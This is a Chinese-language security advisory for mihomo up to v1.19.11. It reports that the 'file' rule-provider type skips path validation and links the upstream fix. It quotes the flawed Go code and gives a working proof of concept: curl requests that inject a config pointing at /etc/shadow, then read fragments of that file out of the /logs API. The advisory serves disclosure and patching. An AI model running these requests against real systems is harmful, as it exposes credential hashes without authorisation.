通过本地规则提供者中缺失的路径验证实现任意文件读取
上游修复:https://github.com/MetaCubeX/mihomo/pull/2177
受影响版本:mihomo <= v1.19.11
在解析 rule-providers 配置时,type = "file" 分支未能对提供的路径进行验证。通过身份验证的攻击者控制 schema.Path 后,可以将提供者指向任何可读的本地文件。由于大多数任意文件不符合预期的规则格式,解析错误(包括大量文件内容片段)会引入内存日志,并通过 /logs API 暴露。由于 mihomo 通常以提升的权限(root / 管理员)运行,这会导致高影响的信息泄露。
rules/provider/parse.go 中,schema.Type == "file" 的情况下只调用了 C.Path.Resolve(),从未强制执行 C.Path.IsSafePath() 或任何等效的白名单/沙盒约束。var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
文件分支的缺陷:
/logs 以捕获解析器错误输出。/configs 提交一个精心构造的配置,其中嵌入了恶意的 rule-providers 条目,type = file 并携带目标文件路径。监听日志(示例令牌 Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
注入配置以读取 /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
未转义的 payload:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
结果:/logs 中的解析失败行包含 /etc/shadow 的片段(示例截图):
